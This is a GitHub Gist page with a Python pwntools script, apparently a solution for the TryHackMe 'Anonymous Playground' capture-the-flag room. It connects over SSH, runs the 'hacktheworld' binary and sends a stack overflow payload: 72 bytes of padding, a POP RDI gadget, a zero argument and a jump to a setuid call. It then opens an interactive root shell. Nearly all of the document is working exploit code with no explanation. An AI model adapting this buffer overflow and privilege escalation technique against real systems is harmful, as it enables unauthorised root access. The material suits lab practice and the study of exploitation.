Last active
October 21, 2021 18:27
-
-
Save captain-woof/c818b20520c4294fddd7cd0a38448a7b to your computer and use it in GitHub Desktop.
TryHackMe - Anonymous Playground - Exploit Code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| from pwn import * | |
| import sys | |
| # Checking argument | |
| if len(sys.argv) != 2: | |
| print("Usage: " + sys.argv[0] + " target") | |
| exit(0) | |
| # Getting argument | |
| target = sys.argv[1] | |
| # Establishing ssh session | |
| ssh_session = ssh('USERNAME',target,password='PASSWORD') | |
| info("Opening ./hacktheworld") | |
| proc = ssh_session.process('./hacktheworld') | |
| # Preparing the payload | |
| junk = b"A"*72 # Just some junk | |
| pop_ret = p64(0x00400773) # POP RDI; RET gadget | |
| zero = p64(0x0) # 0x00000000 to 'push' on to stack | |
| setuid = p64(0x004006c4) # setuid() call in call_bash | |
| payload = junk + pop_ret + zero + setuid | |
| # Getting root shell | |
| proc.recvrepeat(0.1) # Receives the "Who do you want to hacK? " line | |
| proc.sendline(payload) # Sends the payload | |
| proc.interactive() # Gets an interactive shell |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment